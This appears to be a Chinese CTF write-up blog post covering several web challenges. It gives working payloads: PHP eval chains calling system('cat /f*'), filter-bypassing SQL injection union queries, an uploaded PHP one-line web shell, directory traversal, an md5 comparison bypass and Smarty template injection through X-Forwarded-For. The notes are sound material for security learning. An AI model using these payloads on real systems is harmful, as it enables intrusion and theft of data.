结合整个 payload 来看,由于脚本中未对 tgctf2025 参数的有效字符进行严格限制,正则表达式存在漏洞,攻击者可以构造特殊的 PHP 代码并通过 eval 执行,从而实现命令执行等恶意操作,这里的 payload 利用了 get_defined_vars() 来获取变量并结合 b 参数中的 system 函数调用,试图读取服务器上的敏感文件内容,但实际能否成功还取决于服务器环境等其他因素,例如是否允许 system 函数执行等。

deepseek:
步骤 1:获取所有变量
get_defined_vars() 返回当前作用域内的所有变量,包括超全局数组 $_GET。此时,$_GET 包含:

1
2
3
4
$_GET = [
'tgctf2025' => 'eval(end(current(get_defined_vars())));',
'b' => 'system("cat /f*");'
];

步骤 2:提取 $_GET 数组
current(get_defined_vars()):current() 返回数组的第一个元素。由于 $_GET 是超全局变量,它在返回的数组中通常位于前列,因此这里获取到 $_GET 数组。

end(current(…)):将 $_GET 的内部指针移动到末尾(即参数 b),并返回其值 system(‘cat /f*’);。

步骤 3:执行命令

eval(end(current(get_defined_vars()))) 最终执行 system(‘cat /f*’);,读取服务器上的 /f* 文件(如 /flag)。

//

我的理解就是:

?tgctf2025=eval(end(current(get_defined_vars())));&b=system(‘cat /f*’);
先新建一个eval函数
然后get_defined_vars()用来返回所有定义的变量,包含全局的非全局的,这两类会被分为两个数组,
在用current()选择get_defined_vars()生成的数组中的第一个,因为$_GET为超全局变量,所以会在返回的第一个,而此时get中有两个变量,’tgctf2025’ 和 ‘b’
再用end来选取全局变量组成的数组中的最后一个元素,即为b

然后用最外第二层的eval函数来执行变量$b,
而源码中的第一层eval 就是用来执行这两段操作的,相当于我们上传了两段代码

[SWPUCTF 2021 新生赛]sql

按f12 看到标题提示参数是wllm
传一个wllm=1看看,这熟悉的绿字,感觉回到了sql-labs
再传个2,不回显
那简单fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
过滤了:
空格
+
=
and
updatexml
extr
extractvalue

0'or%0aunion%0aselect%0a1,2,3#

1'if(1=2,1,0)

好嘛,试了好久原来是#它不自己进行url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
?wllm=1%27order%0aby%0a3%23
测出回显列为3

?wllm=0%27union%0aselect%0a1,2,3%23


?wllm=0%27union%0aselect%0a1,database(),3%23

?wllm=0%27union%0aselect%0a1,group_concat(table_name)from(information_schema.tables),3%23

/?wllm=0%27union%0aselect%0a1,2,group_concat(table_name)from(information_schema.tables)%23
Your Password:ALL_PLUGINS,APPLICAB
//不是,我用第二行回显甚至会报错?什么题目环境

?wllm=0%27union%0aselect%0a1,2,group_concat(table_name)from(information_schema.tables)where(table_schema)like(database())%23
Your Password:LTLT_flag,users

?wllm=0%27union%0aselect%0a1,2,group_concat(column_name)from(information_schema.columns)where(table_name)like('LTLT_flag')%23
Your Password:id,flag

?wllm=0%27union%0aselect%0a1,2,group_concat(flag)from(LTLT_flag)%23
NSSCTF{48f21b19-c67b
只得到一半

?wllm=0%27union%0aselect%0a1,2,(group_concat(flag)from(LTLT_flag))%23
试了一下
reverse,
left
都不能用

?wllm=0%27union%0aselect%0a1,2,mid(group_concat(flag),20,40)from(LTLT_flag)%23
mid函数试了好久,看wp才知道正确用法😫
b-47a5-8cdf-17841a4e

?wllm=0%27union%0aselect%0a1,2,mid(group_concat(flag),40,60)from(LTLT_flag)%23
ca1c}

NSSCTF{48f21b19-c67b-47a5-8cdf-17841a4eca1c}

总结,不能小看啊,太久不做容易在小地方犯错,比如url编码,mid函数使用,幸好大方向是对的,给一个安心看别人wp得理由啊啊🤣

MoeCTF 垫刀之路01: MoeCTF?启动!

ls / 查看根目录

cat /flag
提示flag不在这,去看系统环境

env
拿到flag

MoeCTF 垫刀之路02: 普通的文件上传

直接传php马

1
<?php eval($_POST[shell]);

然后用蚂蚁连或者直接post一个env就能看到flag

MoeCTF 垫刀之路03: 这是一个图床

只在前端做了限制,改前端代码或者bp抓包传就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /upload.php HTTP/1.1
Host: 127.0.0.1:13280
Content-Length: 209
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJHC9baVxiUBdxw4G
Origin: http://127.0.0.1:13280
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:13280/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryJHC9baVxiUBdxw4G
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png

<?php eval($_POST[shell]);
------WebKitFormBoundaryJHC9baVxiUBdxw4G--

传完后蚂蚁直接连
同样查看环境拿到flag

MoeCTF 垫刀之路04: 一个文件浏览器

java站点,直接在url就能目录穿越,然后就是手工找flag。。。
flag目录:
?path=/../../../..//tmp/flag

MoeCTF ProveYourLove

根据题目提示传够 300次就行

1
2
3
4
5
6
import requests
data = {"nickname":"mignon","user_gender":"male","target":"nm","target_gender":"male","message":"flag","anonymous":"false"}
url = 'http://127.0.0.1:42701/questionnaire'
for i in range(0,300):
qq = requests.post(url,json=data)
print(qq.text)

Moe CTF 静态网页

点击看板娘,会在bp看到发包并且有个传参,在浏览器访问并且改id=1
在最下面看到final1l1l_challenge.php
直接访问
得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
} Where is your param?

要求 a和b都不是数字
a等于0,并且a的md5值等于b的数组的a?
有点乱

这个绕不过,看到网上有两种解法

1
2
3
4
5
6
7
8
9
10
11
1:
意思是让我们get输入apost输入b,且两个变量都不是数字,然后a弱相等等于0,md5($a)和b的第$a个元素弱相等,那其实只要a第一位数字是字母,md5($a)为经典0e开头数字,b随便取个0k就行,构造?a=QNKCDZO,post输入b=0k就可以了。得到flag。

出题人自己的解法:
后半部分要求是 md5($a) == $b[$a],有的师傅可能认为这是 md5 绕过,并且说绕不过去。其实只要静下来定睛一看就能看出来,这个表达式其实并没有对 a 参数做出任何限制,全是对 b 的限制。所以细看就能知道,我们要求的是 b[a] 就是 a 的 md5 值。至于如何赋值,请看下文:

GET: ?a=0a
POST:
b[0a]=e99bb33727d338314912e86fbdec87af

可以看到,想要传数组,直接把 a 的值丢进中括号就行了。b 的值就是 0a 的 md5 值。

按照出题的说法试了一下
a=0b
b[0b]=347017fd1e37a22faf91875981bc4fb3
确实可以了
原来还可以这样传数组啊

2019 强网杯 高明的黑客

下源码看了一眼吓哭了,几千个php文件
网上的wp说是用脚本来测试每个php文件里留下的马能否用
没做,记一下思路

[BJDCTF2020]The mystery of ip

打开题目发现有flag一栏,点开发现会显示
Your IP is : 192.168.122.15
bp抓爆就知道了

1
2
3
4
5
6
7
8
9
10
11
GET /flag.php HTTP/1.1
Host: node5.buuoj.cn:25798
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.buuoj.cn:25798/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

明明是正常的请求头啊

打开hint看看,里面有说:

1
<!-- Do you know why i know your ip? -->

想到了是要添加ip,但是忘了该怎么自定义请求ip
上网搜

X-Forwarded-For:

1
2
3
4
5
6
7
8
9
10
GET /flag.php HTTP/1.1
Host: node5.buuoj.cn:25798
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For: 111.111.111.111

成功回显指定ip
不知道为什么传了一次;就再也不能指定ip来回显了

算了看wp吧
看了半天竟然是模板注入

传了一次传了一次;就再也不能指定ip来回显了
这个问题用bp的添加请求头来解决
照着wp做就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
{{ls}}
Your IP is :
Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string:{{ls}}" on line 1 "{{ls}}" unknown tag 'ls' <-- thrown in /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 1


X-Forwarded-For: {{system(ls)}}
Your IP is : bootstrap
css
flag.php
header.php
hint.php
img
index.php
jquery
libs
templates_c
templates_c

X-Forwarded-For: {{system(ls /)}}
Your IP is : <br />
<b>Fatal error</b>: Uncaught --&gt; Smarty Compiler: Syntax error in template &quot;string:{{system(ls /)}}&quot; on line 1 &quot;{{system(ls /)}}&quot; - Unexpected &quot;)&quot; &lt;--
thrown in <b>/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php</b> on line <b>1

X-Forwarded-For: {{system('ls /')}}
Your IP is : bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
var

X-Forwarded-For: {{system('cat /flag')}}
//拿到flag

Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞
源wp
https://blog.csdn.net/weixin_44037296/article/details/111410565


note-34
https://aidemofashi.github.io/2025/05/11/note-34/
作者
aidemofashi
发布于
2025年5月11日
许可协议